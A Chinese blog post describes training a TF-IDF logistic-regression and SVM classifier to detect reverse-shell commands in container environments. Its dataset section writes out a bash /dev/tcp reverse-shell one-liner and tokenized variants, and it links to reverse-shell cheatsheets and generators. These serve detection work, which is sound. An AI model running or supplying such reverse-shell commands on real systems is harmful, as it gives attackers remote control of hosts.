• 【机器学习】基于机器学习的反弹shell命令识别


    引言

    本文介绍一个基于机器学习识别反弹shell的项目。 在主机安全检测中,一般是采用基于原理的方式识别反弹shell, 通过判断socket通信相关特征,可以准确地识别到主机中的反弹shell。 但是在容器场景下,检测反弹shell 的能力,可能会受到容器网络模式的限制,在容器默认运行的bridge 模式下, 是很难通过基于原理的方式识别反弹shell的。

    • bridge模式

      相当于Vmware中的Nat模式,容器使用独立network Namespace,并连接到docker0虚拟网卡(Docker进程首次启动时会在当前节点上创建一个名为docker0的桥设备,并默认配置其使用172.17.0.0/16网络,改网络是Bridge模式的一种实现,也是创建容器是默认使用的网络),通过docker0网桥以及Iptables nat表配置与宿主机通信;bridge模式是Docker默认的网络设置,此模式会为每一个容器分配Network Namespace、设置IP等,并将一个主机上的Docker容器连接到一个虚拟网桥上。
      
      • 1
    • 反弹shell 参考资料

      https://xz.aliyun.com/t/6727

      https://help.aliyun.com/document_detail/206139.html

      这个文章讲的比较好,值得反复推敲。

    这里有个反弹shell的生成网站

    https://github.com/r00tSe7en/Reverse-shell-cheatsheet

    • 使用python执行反弹shell,得到的进程特征如下:

    在这里插入图片描述

    • 使用nc执行反弹shell, 得到的进程特征如下:
      在这里插入图片描述
      本文希望基于进程的文本特征来判别反弹shell, 从而弥补一下当前反弹shell检测的能力。

    这个项目主要是借鉴的github 上的项目, 这个项目是用来检测URL的,看了下数据集和代码,都比较简单容易上手。对于反弹shell 的数据集, 可以通过词频统计的方式, 来检测是否是反弹shell。

    https://github.com/xiejava1018/urldetection

    制作数据集

    我们希望制作的数据集格式为csv文本, bad表示反弹shell, good表示正常请求

    "bash -i >& /dev/tcp/127.0.0.1/8080 0>&1" , bad
    
    • 1

    对数据集的处理, 我们的思路如下:

    • 使用空格, 分号,逗号, 括号, 单引号,双引号, 方括号,圆括号,等于号对 文本进行分割
    • 去除特殊符号, 单引号,标点符号。

    在线生成shell的网址:

    https://www.hackjie.com/batchshell

    https://www.hackjie.com/batchshell

    https://github.com/r00tSe7en/Reverse-shell-cheatsheet

    我们通过各种收集常见的反弹shell , 在收集一下正常的进程名称, 得到我们的数据集, 处理过后, 数据集如下, 其中使用符号 # 替换数字, 来消除各种ip端口带来的差异:

    
    ['bash', '-i', '>&', 'dev', 'tcp', '#########', '####', '####']
    ['bin', 'bash', '-i', '>', 'dev', 'tcp', '#########', '####', '###', '####']
    ['exec', '###', 'dev', 'tcp', '#########', '####', 'cat', '<&5', '|', 'while', 'read', 'line', 'do', '####', '>&5', 'done']
    ['exec', 'bin', 'sh', '##', 'dev', 'tcp', '#########', '####', '####', '####']
    ['######', 'exec', '#####', 'dev', 'tcp', '#########', '####', 'sh', '<&196', '>&196', '######']
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    训练源码

    jupyter全量代码如下:

    #%%
    
    import pandas as pd
    import numpy as np
    import random
    import pickle
    from sklearn.model_selection import train_test_split
    from sklearn.feature_extraction.text import TfidfVectorizer
    from sklearn.linear_model import LogisticRegression
    from sklearn import svm
    import re
    
    
    #%%
    # 读取数据文件
    data_csv = pd.read_excel('./data/data.xlsx', index_col=None)
    print(data_csv)
    #%%
    data_df = pd.DataFrame(data_csv)
    shell_df = np.array(data_df)
    random.shuffle(shell_df)
    y = [d[1] for d in shell_df]
    input_shell = [d[0] for d in shell_df]
    
    #%%
    # 数据预处理的核心函数
    def getTokens(input):
        # 将数字替换为如下字符
        flag = '#'
        command = input.lower()
        # 使用各种字符来分割一下数据
        shell_list = re.split('[ ,;:\'\"()=/\[\]]', command)
        result_list_tmp = []
        # 去除空格
        for i in shell_list:
            if i !='':
                result_list_tmp.append(i)
        # 把数字转变为其他符号
        for i,v in enumerate(result_list_tmp):
            if re.match('([0-9]|\.)', v):
                result_list_tmp[i] = flag * len(v)
        result_list = result_list_tmp
        return result_list
    
    #%%
    # 制作训练数据和测试数据
    shell_vectorizer = TfidfVectorizer(tokenizer=getTokens)
    x = shell_vectorizer.fit_transform(input_shell)
    x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)
    
    #%%
    # 下面是使用逻辑回归的模型训练
    l_regress = LogisticRegression()
    l_regress.fit(x_train, y_train)
    l_score = l_regress.score(x_test, y_test)
    print("score: {0:.2f} %".format(100 * l_score))
    
    
    #%%
    # 下面是使用SVM的模型训练
    svmModel=svm.LinearSVC()
    svmModel.fit(x_train, y_train)
    svm_score=svmModel.score(x_test, y_test)
    print("score: {0:.2f} %".format(100 * svm_score))
    
    
    #%%
    # 保存模型的参数
    file1 = './model/model.pkl'
    with open(file1, 'wb') as f:
        pickle.dump(svmModel, f)
    f.close()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72

    训练结果:

    • 使用逻辑回归算法,准确率达到98%,
    • 使用SVM算法, 准确率达到100% (可能是数据量比较少导致的)

    结论:

    本项目的不足:

    这是一个二分类问题, 检测正常命令/进程和反弹shell命令/进程,如果只看进程的话,攻防演练中发现反弹shell进程是非常容易伪装的, 可能进程的字符串并没有任何反弹shell的特征,这种情况下, 基于文本特征的机器学习检测反弹shell方法会受到限制。

    本项目的优点:

    准确率还是比较高的, 预测的速度也挺快。 这是一个简易容易上手的项目, 非常适用于以下场景:

    基于文本的分类问题 & 文本的类别很大程度上和单词频率相关 & 文本类别与单词的先后顺序关联较小。

    计划后续会分享下面主题的文章:

    • 机器学习: 准确率,查准率,查全率
    • 机器学习: TF-IDF算法
    • 机器学习: 逻辑回归算法
    • 机器学习: SVM算法
  • 相关阅读:
    跳表的设计与应用场景
    基于matlab如何判断闰年方法
    美团大脑百亿级知识图谱的构建及应用进展
    Shell 基础
    睿趣科技:现在做抖音网店卖啥好
    2024牛客寒假算法基础集训营4(视频讲解题目)
    Qt5开发从入门到精通——第三篇(窗口篇——分割窗口)
    给Mac加上点保险 AppleCare+问题解答
    Vue的双向绑定v-model详细介绍
    【操作系统】进程间的通信——信号
  • 原文地址:https://blog.csdn.net/weixin_37682263/article/details/128160193